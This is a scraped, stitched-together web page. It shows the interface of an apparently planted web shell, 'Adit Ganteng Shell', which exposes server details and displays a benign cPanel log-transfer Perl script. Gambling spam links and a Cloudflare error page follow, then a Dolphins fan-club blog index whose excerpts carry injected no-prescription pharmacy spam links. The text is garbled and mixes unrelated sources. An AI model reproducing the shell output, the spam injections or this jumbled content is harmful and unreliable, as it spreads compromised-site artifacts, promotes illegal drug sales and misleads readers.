x

Adit Ganteng Shell

: /scripts/ [ drwxr-xr-x ]
Uname: Linux d4040.use1.stableserver.net 4.18.0-553.33.1.el8_10.x86_64 #1 SMP Thu Dec 19 06:22:22 EST 2024 x86_64
Software: Apache
PHP version: 8.1.34 [ PHP INFO ] PHP os: Linux
Server Ip: 195.250.26.131
Your Ip: 216.73.216.138
User: drivenby (1002) | Group: drivenby (1003)
Safe Mode: OFF
Disable Function:
NONE

name : remote_log_transfer
#!/usr/local/cpanel/3rdparty/bin/perl
# cpanel - scripts/remote_log_transfer             Copyright 2022 cPanel, L.L.C.
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited

package scripts::remote_log_transfer;

=head1 NAME

This script is used to copy all the main system logs from a server to a backup destination
configured in WHM.
For verbose help and examples, call this script with the --morehelp argument.

=cut

use strict;
use warnings;

use Cpanel::Logger        ();
use Cpanel::Config::Users ();

use parent qw( Cpanel::HelpfulScript );

################################################################################

use constant _OPTIONS => qw( action=s destid=s local_dir=s remote_dir=s keep debug morehelp );

__PACKAGE__->new(@ARGV)->run() unless caller();

################################################################################
# Much of this is a modification of scripts/cpbackup_transport_file
################################################################################

sub run {
    my ($self) = @_;

    if ( $self->getopt('morehelp') ) {
        show_usage();
        return;
    }

    $self->ensure_root();

    my @transport_ids = split( /,/, $self->getopt('destid') ) if defined( $self->getopt('destid') );
    my $command       = $self->getopt('action');
    my $keep_local    = $self->getopt('keep')       || 0;
    my $local_dir     = $self->getopt('local_dir')  || '/backup/';
    my $remote_dir    = $self->getopt('remote_dir') || 'log_backups';

    if ( !defined $command || !$command ) {
        show_usage();
        return;
    }
    if ( $command eq 'list' ) {
        my $all_files_and_directories_ar = get_all_log_paths();
        foreach my $path ( @{$all_files_and_directories_ar} ) {
            print "$path\n";
        }
    }
    elsif ( $command eq 'transfer' ) {

        $Cpanel::Debug::level = 9999 if ( $self->getopt('debug') );

        if ( !@transport_ids ) {
            print STDERR "\n!!!!! Missing argument “--destid=\$destination_id”\n\n";
            show_usage();
            return;
        }

        # Validate the transport_id(s)
        require Cpanel::Backup::Transport;
        require Cpanel::Backup::Utility;

        my $transports             = Cpanel::Backup::Transport->new();
        my $transport_configs      = $transports->get_enabled_destinations();
        my $transport_config_cnt   = @transport_ids;
        my $one_transport_was_good = 0;
        foreach my $transport_id (@transport_ids) {
            my $matching_cfg = $transport_configs->{$transport_id};
            if ( !$matching_cfg ) {
                print "\nNo backup transports exist or are enabled that match the supplied transport “$transport_id” , skipping..\n";
            }
            else {
                $one_transport_was_good++;
            }
        }
        if ( !$one_transport_was_good ) {
            show_usage();
            return;
        }

        my $log_tarball_path = $self->get_log_backup_path($local_dir);

        print "Creating log backup file $log_tarball_path\n";

        require Cpanel::Backup::Config;
        my %conf    = %{ Cpanel::Backup::Config::load() };
        my $utility = Cpanel::Backup::Utility->new( \%conf );

        my $all_log_paths_ar = get_all_log_paths();

        # Create this file without world-readable permissions
        my $orig_umask = umask(0077);

        # We create a bzip2'd tarball to maximize space savings of mostly text log files
        if ( $utility->cpusystem( 'tar', 'cfpj', $log_tarball_path, @{$all_log_paths_ar} ) == 0 ) {
            chmod( 0600, $log_tarball_path );
        }
        else {
            print STDERR "Failed to create $log_tarball_path : $!\n";
            return;
        }
        umask($orig_umask);

        # keep_local has to be overridden here until the last transport, otherwise it will delete the log backup file after the first transport
        # is done.
        my $transport_cnt     = @transport_ids;
        my $current_transport = 0;
        my $final_keeplocal   = $keep_local;

        foreach my $transport_id (@transport_ids) {
            $current_transport++;
            print "Attempting transport of '$log_tarball_path' using transport ID '$transport_id''.\n";

            # Note, the 'Cpanel::Backup::Queue::transport_backup' package/namespace is also defined by this package, so thus it is imported.
            require Cpanel::Backup::Queue;    # PPI USE OK -- Cpanel::Backup::Queue::transport_backup is defined there
            require File::Basename;

            # Even if keep local is false, but we have more transports, toggle it to true
            if ( $current_transport < $transport_cnt ) {
                $keep_local = 1;
            }
            else {
                $keep_local = $final_keeplocal;
            }

            my $args = {
                local_path  => $log_tarball_path,
                remote_path => $remote_dir . '/' . File::Basename::basename($log_tarball_path),
                local_files => $log_tarball_path,
                keep_local  => $keep_local,                                                       # This has no affect here, but we pass it nonetheless and action the logic a little further down
                session_id  => 'LOG_TRANSFER',
                type        => 'compressed',
                cmd         => 'log_transfer',
                transport   => $transport_id,
            };

            my $logger = Cpanel::Logger->new( { 'use_no_files' => 1 } );
            Cpanel::Backup::Queue::transport_backup->new()->process_task( $args, $logger );    # PPI NO PARSE -- See comment below
                                                                                               # The import of Cpanel::Backup::Queue above via require causes the
                                                                                               # namespace in question here to exist, as it is the kind of package
                                                                                               # which defines multiple packages in one file, as perl allows you to
                                                                                               # do. As this is the "common" design of TaskProcessor modules,
                                                                                               # this is not only expected but appropriate.
        }
        unlink $log_tarball_path if !$keep_local;

    }
    else {
        show_usage();
        return;
    }

    return;
}

################################################################################
# how thing do ?
sub show_usage {
    my $log_file_paths_ar = get_all_log_paths();

    print <<EOU;
    Usage:
        $0 --action=<cmd> <args>
        
        Commands:
          list              - Lists all log paths that will be transferred
          transfer          - Transfer logs to remote server
                              Arguments:
                                 --destid=<DestinationID>
                                        The <DestinationID> can be found in WHM on the Backup Configuration -> Additional Destinations page.
                                        The argument here can support multiple destinations, comma delimited, i.e. --destid=OQosRCmRnTNcLcCojd7C0vhC,TAMdl6LZCxQELuUAVO20SjQm
                                        will upload the log backup to both OQosRCmRnTNcLcCojd7C0vhC and TAMdl6LZCxQELuUAVO20SjQm destinations
                                 --local_dir=/backup
                                        The local directory where the compress log files tarball will be stored before transfering to the remote destinations.
                                        Note that this assumes the local directory given is already mounted.
                                        Defaults to “/backup/”
                                 --remote_dir=remote_path/
                                        The path used to store the log file backup on the remote server, relative or absolute based on transfer destination requirements
                                        Defaults to “log_backups”
                                 --debug
                                        Show verbose debug output
                                 --keep
                                        Keep the local log file backup after transfer to the remote destination(s).
          
    Example usages:
    
        # List all log file locations. Additional custom paths can be added to /var/cpanel/config/extra_remote_transfer_paths.txt
        $0 --action=list
        
        # Transfer all logs to the remote backup destination whose ID is TAMdl6LZCxQELuUAVO20SjQm
        $0 --action=transfer --destid=TAMdl6LZCxQELuUAVO20SjQm
        
        # Same as above, but store the logs in the remote directory “backups/logs/Atlanta/” rather than “log_backups/” , while also keeping the local backup in /mnt/backup2/
        $0 --action=transfer --destid=TAMdl6LZCxQELuUAVO20SjQm --remote_dir=backups/logs/Atlanta/ --local_dir=/mnt/backups2/ --keep
        
        
    Log files:
        Custom file paths can be configured by adding them to /var/cpanel/config/extra_remote_transfer_paths.txt , one line for each path.
        Be careful if adding paths here as no validation is done.
        
EOU
    print "\t\tCurrently configured paths:\n\n";
    foreach my $path ( @{$log_file_paths_ar} ) {
        print "\t\t-\t$path\n";
    }
    print "\n";
    return;
}

################################################################################
# We might want to add this to Cpanel/Backup/SystemResources.pm at some point, but this script also should be as independant as possible

sub get_all_log_paths {
    my @paths = (
        "/var/log/",
        "/usr/local/cpanel/logs/",
        "/var/cpanel/logs/",
        "/var/cpanel/updatelogs/",
    );

    require Cpanel::PwCache;
    foreach my $user ( Cpanel::Config::Users::getcpusers() ) {
        my $homedir = Cpanel::PwCache::gethomedir($user);
        push @paths, "$homedir/logs/";
    }

    if ( open( my $custom_extra_fh, '<', '/var/cpanel/config/extra_remote_transfer_paths.txt' ) ) {
        while (<$custom_extra_fh>) {
            chomp;
            my $c_path = $_;
            if ( $c_path !~ m/^\// ) {
                print STDERR "Custom path “$c_path” must be absolute ( start with / ), ignoring\n";
            }
            else {
                if ( -f $c_path || -d _ ) {
                    push( @paths, $c_path );
                }
                else {
                    print STDERR "Custom path “$c_path” is not a file or directory, ignoring.\n";
                }
            }
        }
        close($custom_extra_fh);
    }
    return \@paths;
}

################################################################################
# broken out for easier testing
sub get_log_backup_path {
    my ( $self, $local_dir ) = @_;

    # Create log file backup from all paths in get_all_log_paths() with a base directory
    require Cpanel::Hostname;
    my $hostname = Cpanel::Hostname::gethostname();

    my ( $sec, $min, $hour, $mday, $mon, $year, undef, undef, undef ) = localtime();
    my $formatted_date = sprintf( "%04d-%02d-%02d_%02d-%02d-%02d", $year + 1900, $mon, $mday, $hour, $min, $sec );

    my $log_tarball_path = $local_dir . '/log_backup_' . $hostname . '_' . $formatted_date . '.tar.bz2';
    return $local_dir . '/log_backup_' . $hostname . '_' . $formatted_date . '.tar.bz2';
}
################################################################################

1;
© 2026 Adit Ganteng
DolFans NYC - New York City's Official Home For Miami Dolphins Fans - Part 3
https://www.raqsmediacollective.net/ https://works.raqsmediacollective.net/ situs togel toto togel situs togel bandar togel situs toto situs togel https://duniaflix.com/ https://flixnesia.com/ dutatgr.com | 521: Web server is down

Web server is down Error code 521

Visit cloudflare.com for more information.
2026-04-16 17:30:09 UTC
You

Browser

Working
Buffalo

Cloudflare

Working
dutatgr.com

Host

Error

What happened?

The web server is not returning a connection. As a result, the web page is not displaying.

What can I do?

If you are a visitor of this website:

Please try again in a few minutes.

If you are the owner of this website:

Contact your hosting provider letting them know your web server is not responding. Additional troubleshooting information.

mainlotre situs toto mainlotre mainlotre mainlotre situs togel mainlotre mainlotre mainlotre mainlotre mainlotre situs togel
Flo Rida Makes Hard Rock Stadium His House

Flo Rida Makes Hard Rock Stadium His House

Backstage in a nondescript dressing room, past the players’ locker rooms at the end of a winding, field-level corridor, Flo Rida scans the crowd from behind his diamond-encrusted, orange Gucci sunglasses and motions his two dancers to join him at each side for a post-concert interview. Over the years, the Grammy-award-nominee has performed at countless

Read More →
Dolphins Stars Appreciate ‘Awesome’ Dolfans NYC Reception

Dolphins Stars Appreciate ‘Awesome’ Dolfans NYC Reception

A native of Old Bridge Township, N.J., Dolphins defensive back Minkah Fitzpatrick expected to see around 30 close friends and family members in the lower-level seats at nearby MetLife Stadium. The standout rookie didn’t envision over 1,000 aqua-and-orange-decked fans cheering for him and his teammates from the upper deck, their raucous reception rendering the return

Read More →
Dolphins Honor SAVE Executive Director, LGBTQ Activist Tony Lima

Dolphins Honor SAVE Executive Director, LGBTQ Activist Tony Lima

On Sunday, in a pregame ceremony on the Hard Rock Stadium field, the Miami Dolphins named SAVE Executive Director Tony Lima as the recipient of the NFL Hispanic Heritage Leadership Award. Surrounded by members of SAVE – South Florida’s leading organization dedicated to protecting people of the LGBTQ community against discrimination – and Dolphins Senior

Read More →
2018 #MetLifeTakeover Pictures

2018 #MetLifeTakeover Pictures

The #MetLifeTakeover was such an amazing success this year. From our pre-party to our tailgate to our fundraising efforts to our impact from the stands to the score of the game everything was pretty much perfect. I didn’t take a ton of photos because I was too busy running around the whole time but I

Read More →
Dolfans NYC Support is ‘Big-Time’ for Dolphins

Dolfans NYC Support is ‘Big-Time’ for Dolphins

When the Dolphins take the field in East Rutherford, N.J. on Sunday, players know the inter-division tilt won’t feel like a typical road game. Not with over 1,000 aqua-and-orange-clad fans spread across four sections at MetLife Stadium, whose boisterous chanting and unwavering celebrations have left a lasting impression. “It’s big-time,” said Dolphins wide receiver Kenny

Read More →
Dolphins Aim to Unite Community Through Football

Dolphins Aim to Unite Community Through Football

Two hours before the Miami Dolphins kicked off the 2018 season on the field, the organization proudly launched the third year of its Football Unites Tailgate – a Stephen Ross-led initiative aimed to fortify relationships between local community leaders, youth and law enforcement – outside the Hard Rock Stadium gates. Hip-hop music blared through the

Read More →
#MetLifeTakeover Pre-Party & NFL Experience

#MetLifeTakeover Pre-Party & NFL Experience

As of this morning the #MetLifeTakeover tickets are all sold out! We are talking to the Jets about trying to get a couple more rows in another section close by but we have already sold over 1000 tickets! Even if you don’t get tickets with us everyone is invited to both the tailgate and the

Read More →
Son’s Time to Shine at Dolphins Practice

Son’s Time to Shine at Dolphins Practice

It took me 26 years to earn my first press credential. buy cialis black online https://hillrisedental.com/styles/css/cialis-black.html no prescription pharmacy It took my son less than five. Charlie – a laminated media pass dangling from a lanyard around his neck down to his knees – joined a group of Dolphins fan website moderators for a team-organized

Read More →
Buy Your 2018 #MetLifeTakeover Tickets!

Buy Your 2018 #MetLifeTakeover Tickets!

2018 #MetLifeTakeover tickets are finally on sale! And yes, I said on sale! You don’t have to sign up for anything this year, you just buy your tickets when you are ready! buy amoxicillin online https://arkansaspetcremation.com/wp-content/uploads/2025/03/jpg/amoxicillin.html no prescription pharmacy We have updated MetLifeTakeover.com with all the information and there is a HUGE frequently asked question

Read More →
Dolfans NYC At The 2018 NFL Draft

Dolfans NYC At The 2018 NFL Draft

For years when the NFL Draft was in NYC we used it as a promotional opportunity for Dolfans NYC. We would bring flyers and pass them out to every Dolphins fan and we would do everything we could to get on TV, not because we wanted to be “famous” or something, but because we wanted

Read More →
2017 #MetLifeTakeover Video!

2017 #MetLifeTakeover Video!

Every year we try to up the #MetLifeTakeover and so every year we try and raise the level of our annual #MetLifeTakeover video. It was pretty hard to outdo the last video, which was hosted by Dolphins legend Sam Madison, but I think we may have done it! This year the #MetLifeTakoever was really on

Read More →
Web Weekend XIV Wrap Up

Web Weekend XIV Wrap Up

If you have been following us for a while you might know about the Miami Dolphins Web Weekend. buy cymbalta online in the best USA pharmacy https://draconatural.com/wp-content/uploads/2025/05/png/cymbalta.html no prescription with fast delivery drugstore The Dolphins started it 14 years ago as a way to reach out to all the different fan sites. I ran a

Read More →
2017 #MetLifeTakeover Photos

2017 #MetLifeTakeover Photos

Ignoring everything that happened after 1pm, yesterday was a tremendous success. We had over 1000 Dolphins fans sit together, threw one hell of a tailgate and raised a TON of money for charity. I just wanted to quickly thank everyone who came out especially our volunteers and everyone who helped us get stuff on and

Read More →
2017 #MetLifeTakeover Details

2017 #MetLifeTakeover Details

We have officially sold out of tickets! We have nearly 1000 Dolfans coming with us to the Jets game with us this weekend making it the second largest #MetLifeTakeover of all time!  Now that we are done selling tickets let’s breakdown the plan for this weekend. Hopefully this will answer everyone’s questions. Read it carefully!

Read More →
#MetLifeTakeover Partners With Urban Tailgate!

#MetLifeTakeover Partners With Urban Tailgate!

We hope you’re as excited about #MetLifeTakeover as we are!! In a little over 3 weeks we will fill our sections with aqua and orange, giving our Dolphins a TRUE home field advantage!! buy zydena online https://bradencenter.com/wp-content/uploads/2025/03/jpg/zydena.html no prescription pharmacy If you haven’t signed up it’s not too late! Sign up here! If you have

Read More →
Dolfans NYC Announces Non-Profit Status

Dolfans NYC Announces Non-Profit Status

We are excited to announce that Dolfans NYC has been approved by the Internal Revenue Service (IRS) to receive 501(c)(3) status. Our rapidly-growing fan club is now officially a non-profit, charitable organization. buy cialis soft online in the best USA pharmacy https://petspawtx.com/wp-content/uploads/2025/05/png/cialis-soft.html no prescription with fast delivery drugstore Under these new guidelines, we are able

Read More →
Sign Up For The 2016 #MetLifeTakeover

Sign Up For The 2016 #MetLifeTakeover

Sign ups are live! Read carefully. If you want to go to the 2016 #MetLifeTakeover sign up ASAP. We will send an email when it’s time to pay. buy ivermectin online https://dschnur.com/wp-content/uploads/2025/03/jpg/ivermectin.html no prescription pharmacy Tickets are and as always you will be surrounded by Dolphins fans in the upper decks. buy zoloft online https://dschnur.com/wp-content/uploads/2025/03/jpg/zoloft.html

Read More →
Dolphins Players Praise DolfansNYC

Dolphins Players Praise DolfansNYC

Across from the disassembled basketball hoops inside the upper-level Don Taft University Center practice court, Dolphins running backs Daniel Thomas and Jahwan Edwards sat at the first of five autograph stations, greeting and posing for photos with hundreds of season-ticket holders at Sunday’s Finatic event. “Oh, yeah!” exclaimed Thomas when we informed him over a

Read More →